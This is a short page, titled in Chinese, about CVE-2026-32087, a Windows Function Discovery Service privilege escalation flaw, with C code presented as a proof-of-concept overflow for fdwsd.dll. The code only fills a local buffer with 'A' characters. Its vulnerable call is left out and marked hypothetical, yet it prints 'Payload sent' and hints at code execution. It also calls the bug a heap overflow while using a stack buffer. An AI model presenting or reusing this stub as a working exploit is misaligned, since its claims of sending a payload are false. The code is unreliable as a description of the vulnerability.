CVE-2026-32087 Windows功能发现服务权限提升漏洞

#include <windows.h> #include <stdio.h> // Proof of Concept for CVE-2026-32087 // This code demonstrates the buffer overflow condition in fdwsd.dll // Note: This is for educational purposes only. Do not run on unauthorized systems. void TriggerOverflow() { HANDLE hDevice; char evilBuffer[5000]; DWORD bytesReturned; // Fill the buffer with 'A' to trigger the overflow memset(evilBuffer, 'A', sizeof(evilBuffer)); // Attempt to interact with the Function Discovery Service // The specific API call or IOCTL would go here printf("[+] Sending malicious payload to target service...\n"); // Hypothetical vulnerable function call // VulnerableFunction(evilBuffer, sizeof(evilBuffer)); printf("[+] Payload sent. If exploit is successful, code execution may occur.\n"); } int main() { printf("CVE-2026-32087 PoC - Heap Buffer Overflow in fdwsd.dll\n"); TriggerOverflow(); return 0; }